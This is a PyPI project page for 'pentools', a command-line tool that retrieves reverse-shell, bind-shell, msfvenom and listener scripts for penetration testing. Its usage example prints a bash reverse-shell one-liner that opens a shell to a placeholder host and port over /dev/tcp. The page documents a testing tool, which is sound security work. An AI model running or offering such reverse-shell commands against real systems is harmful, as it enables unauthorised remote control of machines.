Skip to main content

CLI for Pen Tools API

Project description

CLI Tool for interacting with Pen Tools API.

A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.

Installation

The package requires Python 3.7 or higher.

Install latest version from PyPI: pip install pentools

Resources

API documentation

Usage

Retrieve the list of scripts based on specified category (leave blank to see all).

pentools list

output:

Available types

0. rev
1. bind
2. msf_venom
3. listener

Add the -f flag to see available scripts.

pentools list rev  -f

output:

Available scripts and types

0. rev
    Shell session established on a connection that is initiated from a remote machine.
        0. bash_i [id: 1]('linux', 'mac')
        1. bash_196 [id: 2]('linux', 'mac')
        2. bash_read_line [id: 3]('linux', 'mac')
        3. Bash_5 [id: 4]('linux', 'mac')
        ...

Retrieve and format a specific script by id.

pentools script -i 1 -ho example.ip -p 12345 -s bin/bash

output:

---------------(code)---------------

bin/bash -i >& /dev/tcp/example.ip/12345 0>&1

-------------(end code)-------------

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pentools-0.0.1.tar.gz (4.4 kB view hashes)

Uploaded Source

Built Distribution

pentools-0.0.1-py3-none-any.whl (7.3 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page